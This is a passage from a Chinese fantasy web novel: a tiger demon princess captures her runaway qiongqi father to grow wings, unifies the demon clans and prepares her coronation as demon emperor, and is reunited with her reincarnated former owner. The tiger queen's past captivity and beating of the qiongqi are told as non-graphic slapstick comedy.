衔蝉捏着传讯符纸瞪眼了好一会,才重新提笔,跟虎妈强复述了一遍那头穷奇有多难抓。 “啧。” 收到信的路涉川面无表情:“没用的小崽子。” 当年她抓那头穷奇的时候可顺爪了,压根没费什么工夫。 但想想崽子还小, 又是亲生的, 路涉川又把更多虎身攻击咽了回去。 她丢掉信纸,叹了口气, 去给小崽子擦屁|股了。 不久后,路涉川就出现在了前线大军的行军路上。 才被收服不久的大妖们:“” 救,救命!! 陛下怎么亲自来了?!不会是来鲨她们的吧!因为她们当初有过反心?! 可是苍天可鉴!她们已经改邪归正,一颗忠心向妖王,再不敢跃跃欲试了! 大妖们瑟瑟发抖, 哆哆嗦嗦的拼命缩小自己的存在感,生怕被残暴的陛下抓出去下酒。 但路涉川压根懒得搭理那些废物。 她知道她们有过反心,那又怎样。 难道有反心就能打得过她了吗? 她一爪子就能把她们全拍死。 所以她们有没有反心都无所吊谓,一巴掌的事。 而且这次她来这里的目的也不是她们。 “妈!你怎么亲自来了!”衔蝉看到虎妈,喜出望外。 路涉川习惯性的给了崽子兜头一巴掌,算是招呼。 从前会被这一巴掌糊个趔趄的衔蝉,这次却稳稳当当的挨了一巴掌,纹丝不动。 路涉川看崽子的眼神这才满意了点。 嗯,不错,是有长进了。 果然实战才是最有用的。 她把崽子丢出来让她自己去锻炼的决定可真英明! “还没抓到那头穷奇?”在心里满意完后,路涉川问道。 衔蝉一说到这个就来气:“没有!鬼知道他到底上哪学了那么多逃命本事!比泥鳅还滑溜!” 她设下的什么陷阱什么阻碍,甚至放火烧山都用了,但愣是又叫他跑了! 路涉川嗤笑一声:“他还是那么爱逃。” 衔蝉一下子嗅到了八卦的味道,竖起耳朵:“妈,你们真认识啊?” “认识啊。”路涉川轻飘飘说道:“他的翅膀就是被我撕掉的。” 衔蝉:有点意外但又不是很意外呢怎么回事。 “你撕他翅膀做什么?拿来下酒还是他惹你不高兴了?”小老虎八卦的问道。 路涉川:“都不是。” 她居然略带惆怅的叹了一声:“当年,老娘年轻的时候,也想过要有一双翅膀。” 但是她翻遍了传承记忆,又抢了无数大妖和人族的宝库,也没找到能让虎长出翅膀的功法。 就在路涉川十分恼怒时,这头穷奇出现了。 路涉川当场就不爽了。 她都没能有的翅膀,这家伙凭什么能有?! 一怒之下,路涉川决定撕掉穷奇的翅膀,看看能不能给自己安上。 她说干就干,毫不犹豫的就动手了。 那穷奇虽是凶兽后裔,但天赋不高又血脉不纯,在她这个正经神兽后裔的爪下脆得像只小猫咪。 路涉川很快就撕下了穷奇的翅膀,并试图安在自己身上。 未果。 凶兽和神兽始终隔着一层血脉,穷奇的翅膀,白虎就算撕下来了也没法安在自己身上。 路涉川更不爽了。 让她更更不爽的是,那头被撕了翅膀的穷奇居然还趁着她琢磨安翅膀的时候逃了。 她立刻把他抓了回来。 那穷奇边哭边求饶,哭得双眼通红,好不可怜。 路涉川看着他那可怜兮兮的模样,忽然又灵光一闪。 诶!虽然她没办法有翅膀了,但她可以生个有翅膀的崽子嘛! 正好这头穷奇哭唧唧的样子也不丑,洗洗干净勉强也还算能下口吧。 穷奇:“?!” 他哭得更响了。 但没办法,他打不过路涉川,只能哭着被恶霸妖王捆回王庭,睡之。 期间他无数次试过逃跑,但每次都会被抓回来并送上一顿暴打。 虽然没把他打死,但还不如把他打死了。 他堂堂凶兽后裔,翅膀没了,还要被暴君关起来这样那样,他不如死了算了! 路涉川冷笑一声,弹出爪子:“行啊,想死还不简单,过来,本王成全你。” 穷奇:“” 他又怂了。 他变成颇有几分姿色的人形,小心翼翼的推开路涉川的爪尖,乖巧的跪坐回去,不吱声了。 路涉川也变成人形,用脚尖挑起他的下巴,他也不敢反抗,怂巴巴的样子,还真有几分我见犹怜。 可惜路涉川心里只有翅膀。 她越看越不服气。 凭什么这怂货有翅膀,她就没有! 好气,再睡一觉。 穷奇认命的上前服侍她,人形玉白的背后还有两条长长的疤。 而他的翅膀就被随手丢在地上,简直惨绝人寰。 穷奇就这么被关了大半年,关得看见路涉川就条件反射的跪下,然后腿肚子直抖。 本来他以为自己可能这辈子都只能这样了,要被关到死了,但没想到大半年后路涉川就放了他。 “趁本王暂时还没改变主意,赶紧滚吧。” 确认自己怎么折腾都跟翅膀无缘后,路涉川也心不甘情不愿的认命了。 正好她也感知到自己有崽子了,那这穷奇就没有什么卵用了。 看在他这段时间足够乖巧且长得也不错的份上,路涉川决定放他一马。 穷奇大喜过望,但一时之间又不敢确定路涉川是不是在遛他。 毕竟他之前有很多次逃跑的前科嘛,万一这次她又是试探他,他一跑她就把他抓回来吊起来打呢? 这暴君下手可重了!每次他都感觉自己快要被揍死了! 而且被揍之后还要带着伤服侍她睡觉,那真是闻者流泪见者伤心。 “陛下,我,我不走。”穷奇怯生生的表忠心:“我情愿终生侍奉陛下。” 他还在心里劝自己,其实这样也挺好的。 陛下不打他的时候对他也挺好的。 而且她每次打他都是他自己作来的。 跟着她要啥有啥,他从前自己在外面做野妖的时候哪里见过这么多世面。 而且他血脉不纯,传承记忆也有缺,跟着陛下,她偶尔还能指点他两句。 穷奇心说,要是陛下不打他的话,或者打的时候轻一点的话,他是真的情愿侍奉她一辈子的。 但他愿意了,路涉川却索然无味了。 她一脚踢飞了满脸欲语还休的穷奇,拍拍衣摆,走了。 被踢飞三千里的穷奇:“” 刚刚萌动的心,碎了! 碎得四分五裂,彻彻底底! 然而路涉川才没空管他心碎不心碎。 她满怀期待的准备要生个带翅膀的小崽子了。 可谁也没想到,她的小崽子出生后身上没看见有翅膀,却有一颗熠熠生辉的宝珠。 而这颗与她伴生的宝珠,又引来了一系列的变故 时隔多年,路涉川都快把那头穷奇忘干净了,要不是崽子忽然来信,她都快想不起来还有这么个家伙了。 但崽子信里写了他的外貌,又写他还是那么会逃跑,路涉川终于从犄角旮旯里捡出了关于他的记忆。 应该就是那怂货没跑了。 路涉川拍了拍崽子的肩:“那家伙的血脉也不大纯,所以你刚出生的时候是没有翅膀的。” 后来她抽空去查过,崽子这种情况需要用到穷奇心头精血,才能激发她那一丁点带翅膀的血脉,让她长出翅膀。 “所以你要是想长翅膀,就去抓他回来放一滴心头精血。” 嘴上是这么说,但路涉川的眼睛里明晃晃的写着“敢说不想长翅膀你就死定了”。 这可是她辛辛苦苦为崽子挑选的血脉! 她自己都没有的翅膀,小崽子要是敢说不想有,看她不揍死她。 衔蝉:“” 衔蝉的嘴巴已经张成了O型。 虎妈的话信息量太大她一时都没反应过来。 所以!那头穷奇居然就是她那毫无存在感的爹,并且还是被虎妈强取豪夺来的吗 难怪他一看见她的脸就跑! 她长得跟虎妈少说也有七分像,他不跑就怪了! 也难怪他那么会跑,合着是经验丰富啊! 想想也是,能从虎妈手下逃跑未遂多次,他也是有点本事在身上的! 一般妖在虎妈爪下别说逃跑了,大气都不敢多喘两口的! 而他居然敢多次试图逃跑,该不该说还是有点骨气在身上的,吧。 再想想只要抓了他放一滴心头精血自己就能拥有翅膀,衔蝉一个没忍住,嘴巴又笑歪了。 如虎添翼,她马上就要如虎添翼了!没有如! “好!我这就去再抓他一次!”衔蝉来劲了。 第112章 非常想长翅膀的虎大王当天就点齐了兵将, 将那头穷奇出没过的地方团团包围住,再设下迷阵。 又请虎妈亲自坐镇在穷奇最有可能跑路的方位上,只要他一冒头就逮他! 乌泱泱的妖兵大军顷刻间就将整个迷阵围堵得水泄不通, 衔蝉则亲自入阵。 入阵前, 她还在虎妈的现场传授下学会了用自己身上的血脉反向感知那头穷奇。 那股隐隐约约的指引,让衔蝉信心倍增。 这次一定能抓到他! 迷阵中, 穷奇已经开始慌了。 要死了要死了怎么办怎么办! 一开始他确实认错了虎,把衔蝉当成某位暴君了, 但很快他就反应过来,那不是她。 可穷奇看着那小崽儿跟她至少有七八分相似的脸,心里就又酸又涩又想哭。 有点腿软,有点想跪,还有点委屈。 她当年对他做了那种事情, 可转身就把他忘在了脑后,现在连小崽子都有了! 这又是她跟哪个漂亮男妖生的小崽子呢那他又算什么呢 穷奇心里酸唧唧的,压根没想过衔蝉就是她和他的血脉。 因为穷奇心想,我还是对自己的地位有点数的。 妖族都慕强,妖王陛下身边从不缺飞蛾扑火的漂亮男妖。 他自己虽然也生得肤白貌美相当漂亮,但肯定也只是她漫长的妖生里的一个微不足道的过客。 可越这么想心里就越难受。 也越不想看见衔蝉。 当年他刚动心, 就被残忍的抛弃了, 那股怨念至今都没散去。 现在再看到衔蝉,怨念就更重了。 穷奇:嘤, 她根本没有爱过我! 她居然还让她的小崽子来追鲨我! 心碎!持续心碎! 穷奇一边心碎,一边又忍不住开始幻想。 万一,万一小崽子是她派来抓他回去的呢。 也许她这么些年过去,终于发现只有他才是最听话最漂亮最特别的男妖? 除了他以外,应该没有别的男妖敢在她手下反复逃跑还能活命吧? 他应该就是最特殊的那个。 如果真是这样的话那他更要跑了! 哼, 让她当年始乱终弃,现在他也要拿乔,要让她后悔,至少要让她亲自出来对他说句软话哄哄他,他才会重新回到她身边! 穷奇自己脑补了许多。 当看到路涉川真的亲自出现在这里时,幻想瞬间压倒了心碎。 她真的来找他了!! 听说她才刚出封印不久,这么快就来找他了! 肯定是在封印里那些年,她身边没有侍奉的妖,这才终于想起了他的好! 这下穷奇逃跑的心更强烈了。 首先他不能让她那么轻易的再次得到他! 其次他也要狠狠逃跑,让她回忆起当年种种! 最后!他要用逃跑让她明白他这些年心里一直是委屈的!是需要哄哄才能好的! 想了许多屁吃的穷奇直接给自己脑补美了。 仿佛已经看到了陛下从此以后终于意识到自己在她心里的分量,然后将他带回去好好对待,再也不打他的场景。 边脑补边荡漾边逃跑。 心里还扑通扑通直跳,要是待会又被抓住了,他该说什么好? “嗷嗷嗷!!” 逃跑到一半,穷奇忽然感觉尾巴一疼。 一股强大且熟悉的力量,正揪着他的尾巴,把他往后拖。 穷奇前爪扣在地上疯狂挣扎,地上都被抠出了两行深深的抓痕。 嗯,这就是一比一复刻当年她与他的初遇了。 这怎么不算是一种回忆往昔呢? 而且仔细咂摸一下,这回她抓他的力道好像有分寸了不少,下手都没以前那么重了 所以! 穷奇的眼睛更亮了,挣扎的时候也更刻意的摆动着腰背,让他曾被她夸过的细腰扭啊扭,晃啊晃。 衔蝉兴奋大喊:“妈!我抓到他了!” 路涉川:“嗯,看见了。” 穷奇:“?” 穷奇使劲扭头,然后就看到那暴君母子正在用不同的眼神打量他。 小崽子的眼神里充满了好奇,手里还抓着自己的尾巴。 而她却眉头微皱着,把他从头看到尾,像是在回忆着什么。 穷奇心里一喜,连忙转过身,从小崽子手里抢回自己的尾巴,鼓起勇气轻哼一声。 “你,你来做什么!不是说已经腻了吗,还来找我|干嘛!” 路涉川抬手就给了穷奇一个大嘴巴子:“闭嘴。” 穷奇:嘤。 她怎么还那样啊。 可恶,但好熟悉,好喜欢。 穷奇这物种本来脑子就有点毛病,就爱惩善扬恶,越是凶恶的家伙它们就越喜欢。 用现代的话来讲就叫麦当劳。 虽然这头穷奇遇上的是对他自己施暴行恶的,但这也不影响他骨子里那种贱不喽嗖的喜好和倾向。 挨揍的时候确实很惨很痛,但痛完又忍不住偷偷心想这暴君漫不经心动手的样子好帅鸭。 尤其是每次他逃跑未遂把他抓回去吊起来打的时候,哎,老霸道了。 搞得他一颗心是又怂又怕又爱的,都不知道该怎么办好了。 穷奇眼里带有三分倔强三分委屈和四分期待的闭嘴了。 路涉川盯着他回忆了好一会,才终于回忆起取穷奇心头精血的秘法是怎么操作的。 她当场就吩咐玄蛛去拿来了一捆绳子。 穷奇条件反射的一哆嗦,但又有点莫名的兴奋。 又要被捆起来做点什么了吗,嘤。 穷奇果然被捆起来了。 五花大绑。 还是被变成人形捆的,双手都反剪捆在了背后,跟并拢跪着的腿脚捆在了一起。 这种被迫挺胸的姿势就很方便下手了。 穷奇一边乖乖的配合被捆,一边蚊子似的哼哼:“还在外面呢” 还有那么多妖看着呢! 这暴君又要对他玩什么花样?讨厌! 路涉川压根没鸟他。 她伸出食指,弹出一根锋利的指甲,在穷奇心口比划了一下。 然后噗嗤一声,指甲就戳了进去。 穷奇:“嗷!!” 他凄惨的嚎了一声,但还没等他嚎完,路涉川就收手了。 收回的指尖上悬停着一颗鲜红的血珠。 穷奇看着那颗血珠,忽然感觉浑身发软。 他像没骨头一样歪倒在地上,看上去柔弱极了。 然而那暴君母子俩已经转身就走了。 穷奇:“?!” 等等,就这么走了?! 他都躺好了! 仔细听听,风中还传来了母子俩的声音。 “这就是穷奇的心头精血?” “嗯。” “要怎么炼化它啊?” “用你刚学的血脉祭炼法。” “噢噢,炼化后我就能长翅膀了吗?” “对。” “嘻嘻。” 穷奇竖着耳朵停了一会,忽然像诈尸一样一个鲤鱼打挺就坐了起来! 血脉祭炼?!长翅膀?! 那那那小崽子!居然!是他的血脉后裔?! 穷奇忽然狂喜。 他好像明白她为什么回来找他了! 因为她跟他有个小崽子了! 穷奇不知道又想到了什么,牙花子都笑得嗞出来了。 更让他感到幸福得不真实的是,他很快就被松绑了。 并且也没有妖来看守他,不许他再逃。 可他也不会再逃了! 大帐里,衔蝉拿着那颗穷奇心头精血,开始炼化。 炼化过程并不怎么费力,有虎妈亲自在旁指导,那一滴心头精血不多时就被炼化完毕了。 衔蝉顿时感觉后背发痒。 她伸手想去挠,但却被虎妈按住了手。 衔蝉痒得直蛄蛹。 但很快,她就不痒了。 一对金边白羽的翅膀冲破了她用毛毛变化出的衣裳! “哇!!” 衔蝉抖了抖翅膀尖尖,然后十分新奇的把翅膀朝身前伸,并且兴致勃勃的伸手摸了摸自己的翅膀。 手下的翅膀宽大有力,羽毛排列紧密整齐,衔蝉是越看越喜欢。 “妈!快看!我有翅膀了!” 衔蝉兴奋的把翅膀怼到虎妈面前让她看。 路涉川也伸手摸了摸崽子刚长出来的羽翼。 “嗯,不错不错。” 这大羽翼大金边,瞧着比那怂货的翅膀霸气多了。 不愧是她的崽子! 衔蝉本来就不太经夸,现在又正是亢奋上头的时候,于是下一刻,她就展翅飞起! 和手脚一样听话的翅膀张开一扇,带动起气流,将衔蝉托举到空中。 第一次使用翅膀,但衔蝉却丝毫没有任何迟滞,眨眼间就从大帐中飞了出去。 飞出大帐后,衔蝉又在空中变回原型,非常新奇的俯瞰着下方的一切。 小老虎心想,原来这就是无人机视角。 真舒爽! 以后她想去哪都可以自己飞过去了! 感恩虎妈,给她选了这么酷炫的带翅膀基因! 兴奋过头的小老虎在空中飞来飞去,根本停不下来。 地上的众妖也纷纷仰头,惊叹连连。 “哇,大王有翅膀了!这下是真的如虎添翼了!” “大王的翅膀好大,好厉害啊,感觉一翅膀就能扇飞十个妖呢!” “我也想有翅膀!我也想飞!” “但是咱原型是走兽,飞不了哎。” “好羡慕,为什么我的原型不是飞禽。” “等等,大王的原型也不是飞禽吧。” “咦!对哦!那大王为什么能长翅膀?” “我知道!因为大王天赋异禀!” “有道理!也有可能是在太上皇陛下那里继承了什么上古血脉!” “哇,更羡慕了。” 众妖感慨连连,眼中既有艳羡,又有与有荣焉。 大王厉害,她们也跟着沾光,骄傲得很! 路涉川抱着胳膊站在那,心里也是颇有感慨。 虽然她还是没能长出翅膀,但从此以后她的小崽子就有了翅膀,可以在天上自由自在的飞行了。 正心下感慨呢,路涉川忽然感觉脚边一暖。 那头怂货不知道什么时候狗狗祟祟的蹭了过来,倒在了她的脚边。 嘴里好像还在嘤嘤呜呜的。 第113章 “崽啊是我的崽!陛下, 那是我们的崽” 穷奇看着在天快乐飞翔的小崽子,眼里含着泪,不停的蹭路涉川的腿。 然而路涉川却勃然大怒! “什么你的崽!那是老娘的崽!有你什么事!” 居然还敢想抢她的崽子?!找死! 暴怒的大白虎当即就是一顿劈头盖脸的狂野输出, 把穷奇揍得喵喵叫。 穷奇既幸福又凄惨挨了一顿毒打, 这回不敢再乱说话了。 路涉川狠削了他一顿后,就拎着他的尾巴把他像扔垃圾一样扔了出去。 但很快穷奇又狗狗祟祟的自己往回跑。 他说过他不会再逃的! 陛下和他的小崽子都在这呢, 嘿嘿。 靠着自己当年在实战中积累出来的逃命本事,穷奇反向使用该本领, 愣是又在大军包围之中打狗洞钻了回来。 然而他回来了也没谁鸟他。 路涉川看到他一次就揍他一次,还逼他立下誓言不许觊觎自己的崽子。 穷奇虽然委屈得不行,但最终还是不得不屈服在了绝对武力值下。 而衔蝉那边,小老虎一直沉浸在长翅膀的快乐中,每天都会飞来飞去的。 大军依旧在前行, 一统妖族的路也还没走完。 有翅膀的小老虎就亲自飞到空中开路,率领大家继续打天下! 她每天都忙得很,自然没空管虎妈和穷奇之间的私人恩怨。 再说了,这事她想管也管不着啊。 亲妈的事情,她这个崽子怎么好插手。 所以长辈的事情还是让长辈们自己解决吧! 衔蝉愉快的起飞,转头就把穷奇丢在了脑后不再操心。 路涉川来了前线一趟, 亲眼看到崽子长出翅膀后也心满意足的回东坡子洞继续养生了。 其实她这虎吧, 性子并没有传言中那么可怕。 她的确有点暴躁,能动手绝不动嘴, 但大部分时候,她都是懒洋洋的。 你要是不去招她,她是懒得搭理你的。 大猫嘛,都这样的。 以前她之所以会传出那么多恐怖传说,纯属是因为时间不对。 她年轻那会刚从万千大妖里厮杀出来, 每天都有来挑战她的大妖,她不想打打杀杀都不行。 后来又一路登上妖王宝座,爪下那么多妖每天都等着她去做主,事情多到让虎脑瓜子嗡嗡的。 没办法,路涉川只好用最快的方法解决所有问题。 那这不凶名就传出来了吗。 事实上她本人并没有那么爱揍死谁,顶多偶尔爪痒了会找个耐揍的磨爪物,仅此而已。 现在呢她在东坡子洞也找到了最合适的磨爪物:风朔。 而且她的新枕头也在东坡子洞,小崽子给她修的大房子她也住得很满意,于是就逐渐变宅了。 曾经叱咤风云的妖王陛下,如今已经变成超级养生的东坡子洞太上皇陛下了。 所以路涉川出了门一趟,很快又回家去了。 崽子就丢在外面让她继续自己拼搏。 这种纯放养模式,她省心,小崽子自己也过得挺乐呵,实力进步也飞快。 两全其美。 只不过路涉川也没想到,她回去后没多久,东坡子洞里就又冒出一个狗狗祟祟的虎头。 一路打听到东坡子洞并且偷偷潜入进去找陛下的穷奇:嘿嘿。 陛下她又打我,她心里有我! 不然她咋只打我不打别妖呢? 风朔:“” 哪里来的智障。 然而穷奇却很理直气壮,怎么打都不走。 “你又不许我觊觎小崽子!那我只能来找你了嘛呜呜呜!”他抱着路涉川的腿嗷嗷直叫。 路涉川一脚给他踢飞出去,但他很快又会自己找回来。 关键是路涉川也不真揍死他,就时不时的把他揍成溜溜球玩。 好像是挺喜欢这磨爪玩具的样子。 风朔在旁边欲言又止。 最后犹豫了许久还是选择闭嘴。 爱咋咋吧,她也管不着 岭山山脉里,猫头旗帜终于从南边飘到了北边。 衔蝉花了三年时间,终于把整个岭山山脉的地盘给打下来了! 当最后一片地上也插上了猫头旗帜后,衔蝉郑重宣布:从此以后,妖族又大一统啦! 而她!衔蝉大王!就是新一代的妖王陛下! 不,她不做妖王了,她要做妖皇! 虎要青出于蓝而胜于蓝! 但其实就是某个臭屁小老虎觉得妖皇陛下听起来比妖王陛下更酷炫。 被统治的妖族们:啊,陛下说啥就是啥吧。 反正她们臣服于谁不是臣服呢! 以前被太上皇陛下统治,现在被妖皇陛下统治,也没差嘛! 不,还有有点差别的。 妖皇陛下脾气更好一点,不会动不动就揍死大家,挺好的。 本来就已经被打服了的众妖们彻底口服心服了。 大家欢天喜地的为新陛下举行了盛大的登基典礼。 白三姑亲手操办的登基大典,可比曾经衔蝉“登基”做东坡子洞大王的时候隆重多了。 现在东坡子洞家大业大,这大典不得办个九天九夜? 太上皇陛下也得请到上座,这是衔蝉亲自吩咐的,她要让虎妈看着自己“篡位”。 对此,路涉川的表示是哼笑一声,并淡定接受了崽子的篡位。 篡吧篡吧,小崽子年轻气盛,这会还不懂这个王位其实是个苦差事。 她当年要是早知道做妖王要管那么多破事,她才不干。 后来她都那么努力摸鱼了,几乎常年不在王庭,但依然时不时就有妖来找她回去管事。 这可把大白虎烦死了,脾气也越来越暴躁。 现在终于可以把那些破事扔给崽子,她就能美滋滋的退位养老了。 不过崽子这方面好像不随她,她一点都不嫌那些事情烦,啥都管得井井有条的。 这东坡子洞的家业都是她自己白手起家一点一点打拼出来的,真是特别有这方面的天赋。 大白虎表示,不愧是本王的崽! 啥,崽子登基了她就不能继续称本王了?笑话,她是妖王她崽是妖皇,不冲突! 再说了,就算她真退位了,那些妖就敢忤逆了她了吗? 有几个头几条命啊敢那么浪! 所以路涉川愉快的决定从此开始养老,虽然按照大妖的年龄来算她也还很年轻 扯远了,总之这次衔蝉的登基大典,路涉川这个太上皇陛下是一定要出席的。 白三姑把她的位置安排好后,继续马不停蹄的整理参加大典和观礼的邀请名单。 还得把人族领头人也请过来观礼,嗯,就去隔壁喊一声就行。 人族第一人,天师堂唯一大天师兼总堂主风朔,同时也是妖皇陛下的恩师呢。 她常年都在岭山和天都来回跑,找她方便得很。 爱徒的登基大典,她也不可能不参加。 她还不光参加,她还要亲手帮着白三姑一起操办大典呢。 这恐怕在人族和妖族的历史上都是开天辟地头一回。 但这样的事情,在未来两族真正和平后肯定还会有第二例,第三例 在第一例上,参与妖皇登基大典观礼的人族还不少。 风妧肯定也在,她可是东坡子洞的二大王,妖皇陛下的亲师妹,这第二把交椅她是会一直坐下去的。 风妧都来了,当初她跟着衔蝉一起出征在平安镇拉起来的降妖师(现在已经正式更名为天/地/玄/黄师)们自然也要一起来。 想当初,大家可是跟妖皇陛下一同出征过的呢! 除了她们,还有本来就已经加入了东坡子洞的人类们也会参加观礼。 比如关师傅她们,又比如苗大娘她们。 平安镇上也有许多人类受邀前来观礼,比如萧慧萧禾这对师徒,比如镇上肉铺的掌柜,山货摊子最初的老顾客 总之突出一个人多,热闹。 但观礼的人再多,也没有观礼的妖那么多。 毕竟这可是妖皇陛下的登基大典呀! 几乎所有能来的妖全都来了! 东坡子洞老成员一个不落,全安排在视野最佳的贵宾席上观礼! 阿琅这个三大王必须跟风妧坐一起,还有桃子板板胡图白果灰绒麦子 每个东坡子洞的妖,都在观礼大典上有自己的位置。 就连负责大典的安保巡逻的玄蛛和她手下的妖将妖兵们,也会轮流参加观礼。 她们现在是三班倒,时间也很充裕。 长年在外的三参她们可高兴坏了,麻溜的回了山上。 但山下的灵植店却并没有因此而闭店。 因为这几年三参她们已经把灵植店开遍了山下各大城市,还新招揽了不少人族店员。 这次三参这个总店长要回去参加妖皇陛下的登基大典,灵植店就可以交给留守的人族店员们。 收到了三倍薪水的人族店员们也开心极了,乐呵呵的留下了。 虽然她们也想去观礼啦,但是路途遥远,又有工作在身,那就拜托妖族同僚们帮自己为妖皇陛下送上贺礼吧。 她们半是遗憾半是释然的坚守在了工作岗位上。 而距离灵植店不太远的天师堂各地分堂里,却又是另一番景象。 妖族天师们不用说,肯定要全部回去观礼的。 人族天师们竟也有半数表示自己也想去长长见识。 因为近来大家都挺闲的。 自从风堂主接任总堂主位置后,整个天师堂的风气都为之一变。 那些成天琢磨争权夺利勾心斗角的世家老登全被剔除了出去,剩下的都是一腔热血未凉的年轻人。 年轻人干劲十足,除暴安良这条祖训,她们执行得相当到位。 在她们的努力下,恶人恶妖都不敢再作乱。 曾经妖魔横行的人间也渐渐安定下来,天师堂的业务都清闲了不少。 从前因为妖魔之乱而分崩离析的人间王朝也又有了重新建立的趋势。 天师堂并不阻止新王朝的诞生,反而很乐见此。 她们扶持着新生的王朝大步前行,又在与王朝的共同努力下让人间更加安宁。 然后天师们就更清闲了,有的是时间和精力去凑各种热闹。 妖皇登基这种热闹,当然就缺不了她们啦。《 》 【正文完结】 第114章 衔蝉的登基大典, 光是筹备就筹备了好几个月。 这期间衔蝉倒是不怎么忙,偶尔还有空下山去溜达一圈。 但除了她以外的所有人和妖都忙得不行,就连路涉川都忙起来了。 衔蝉很好奇虎妈忙什么去了, 还想去凑凑热闹, 可却被她一巴掌呼出来了。 小老虎只好遗憾又茫然的放弃了围观虎妈。 她嘴里碎碎念着走了,却没注意到路涉川眼里闪过的笑意。 而路涉川究竟在忙什么衔蝉很快就知道了。 在衔蝉登基前两天, 东坡子洞里,又来了个人类。 一个衣着打扮都很奇怪的短头发女人。 大家都很不解, 这是谁啊,怎么没见过,她为什么看起来跟大家都不太一样啊。 没想到那人比大家更不解,更茫然,甚至可以说是一脸蒙圈。 凌绡真的非常懵。 她感觉自己好像在做梦。 咋她一觉醒来, 就穿越了呢! 还穿到了一个奇奇怪怪的地方,到处都是长尾巴有爪子的“人”! 看起来比较正常的人,也穿着古装,怎么看都不像是现代人! 但更奇怪的是,凌绡却莫名其妙的对这里有点微妙的熟悉感。 就好像她曾经来过这里似的。 可凌绡敢指天发誓,她这辈子从没来过这么奇怪的地方。 正当凌绡懵懵的站在那发呆并怀疑人生的时候, 她忽然感觉身后有点什么动静。 一扭头, 就跟一对比灯笼还大的金色竖瞳对上了视线。 凌绡:说实话当时我连要埋哪都想好了。 所以这里为什么会有这么大的大老虎啊啊啊! 那宛如小山一样巨大的大白虎还眼神直勾勾的盯着她,貌似还发出了“嗤”的一声。 凌绡:“?” 凌绡咽了咽口水, 心道,这大老虎就算吃了我,也塞不满牙缝吧。 要跑吗? 可是她真的跑得过那么大的大老虎吗? 正犯怂呢,她忽然又听到一道陌生但又莫名亲昵的声音。 “嗷!铲屎官!!” 头顶忽然扑来一股巨大的气流,险些将她刮翻在地。 抬头一看, 居然是一头长着翅膀的小白虎,正在往她这边飞! 一边飞还一边兴奋得嗷嗷叫。 凌绡明明没见过这头小老虎,但却不由自主的伸出双手,想接住她。 衔蝉俯冲下来,嗷的一头撞进铲屎官怀里,把她撞了个倒仰。 不过她俩都没摔在地上,而是摔在了一大片厚实的毛毛里。 路涉川有点嫌弃的给轮回后就失忆了的逆徒舔了一下头毛。 怎么比以前还傻了。 凌绡被舔得头都要掉了,但也意识到大老虎和小老虎都对她没有敌意。 她低头,想摸摸小老虎,却没想到小老虎就在她怀里来了个大变活猫! 长翅膀的小白虎,噗叽一声,变成了一只圆墩墩毛绒绒的大胖橘! 凌绡:“!!” “衔蝉!是你啊?!” 她一把举起胖胖橘,眼里全是惊喜和不可思议。 “你也在这里?你怎么变成小老虎了?不对,我们怎么都在这里了?这到底咋回事啊?” 面对铲屎官快要溢出来的茫然,衔蝉嘿嘿嘿的笑了一声。 然后给她表演了一个大变活人! 衔蝉叉腰:“看!我还会变人!厉害吧!” 凌绡的下巴都快合不上了。 “宝!你真的成精了啊!” 她激动的站起来想仔细看看自家成精的小猫猫,可真站起来之后发现衔蝉的人形比她还高一个头。 凌绡:莫名感觉气势上输了一成是怎么回事。 但还是很高兴。 她家小猫居然真的成精了,还会变人变老虎了! 衔蝉:“不是变老虎!我本来就是老虎!” 她拉着铲屎官重新倒回大白虎身上,开始跟她解释这一切。 “这事还得从你上辈子说起” “嗯,你知道你为什么在现代老是爱穿斑马睡衣吗?” 衔蝉示意铲屎官看虎妈身上的黑白色条纹,问:“有没有觉得她很面善,很眼熟?” “这是我妈妈,也是你上辈子的师尊喔!” 路涉川哼了一声,想抬爪给逆徒一巴掌,但看着她现在毫无灵气护体的小身板,又默默放下了爪子。 凌绡却没注意到大白虎的动作,她整个人已经震惊了。 什么?她上辈子居然是这个大白虎的徒儿?! 而她在现代拐回家的胖胖橘,居然是大白虎的崽子?! 凌绡感觉脑子里都快变成一坨浆糊了。 花了好一会工夫,她才消化掉衔蝉的话。 然后她终于知道自己为什么会对这里有种微妙的熟悉感,看到这头大白虎也没有第一时间就扭头逃命。 她就说嘛,她才不是那种没有求生欲的人! “所以,嗯师尊?她又把我从现代接回来了?” 衔蝉大力点头:“嗯呐嗯呐!我就说妈最近在背着我忙什么呢,原来是在接你过来,嘿嘿。” 她重新变回胖橘,熟练的跳到铲屎官怀里,歪着头蹭她脖子。 凌绡抱着依旧敦实的胖橘,先前还有点慌乱的心一下子安定下来了。 搞半天不是穿越,是回家了啊。 那没事了。 反正她在现代的时候就六亲缘薄,早就没什么牵挂了。 回来这边跟自家成精的小猫,嗯,小老虎继续一起生活,也挺好的。 路涉川任由逆徒和崽子在自己身上腻歪,虽然感觉有点牙酸,但还是没有阻止她们。 大白虎交叉着前爪看向远方,嗯,小崽子这下就没有遗憾了。 她登基的时候,所有她爱的人和妖都会在。 至于轮回后就失忆了认不出自己的逆徒,路涉川表示,她才不在乎,无所谓。 她只是为了崽子才顺爪把她从异界捞回来的。 虽然她花了很多的时间精力法力和无数珍贵无比的宝贝,还搭上了自己的百年修为才把她捞回来。 但她真的只是顺爪! 没有很想再看见这逆徒的意思! 衔蝉拉着铲屎官站起来跑远了一点,然后在她耳朵边小声蛐蛐。 “你知道不,我妈她其实一直可想你了,但她傲娇,她不说嗷!!” 凌绡眼睁睁的看着衔蝉就这么变成了天边最靓的烟花。 大白虎还弹出了爪子,虎视眈眈的盯着她。 大有她要是也敢放屁也会被揍飞的架势。 凌绡从心的后退了半步:“师,师尊啊?衔蝉她不会有事吧?” “她能有什么事。”大白虎冷哼一声,“还有,本王并没有想你,别自作多情。” “本王的逆徒早就死了。” 凌绡:嗯,果然很傲娇呢。 路涉川怒了:“你那是什么眼神!想找打吗!” 凌绡:“没有没有,师尊息怒,嘿嘿。” 这一声师尊她喊得顺口极了,听得路涉川都恍惚了一瞬。 下一秒意识到自己恍惚了一瞬的大白虎恼羞成怒的一巴掌扇飞了逆徒。 衔蝉赶忙飞过来接住铲屎官,然后扛着她就跑路了。 开玩笑,虎妈又生气了,再不跑又要被揍成溜溜球! 铲屎官现在还是个脆皮凡人,要是不小心挨上一爪子就无了! 所以赶紧跑路吧! 正好带铲屎官去看看自己刚做好的妖皇礼服,再让三姑给她也安排一个最佳的观礼位置。 凌绡:“什么?妖皇?!” 衔蝉要不是还在空中飞着,她马上就要开始叉腰了:“是的!我!妖皇!后天就登基!” 凌绡:震惊! 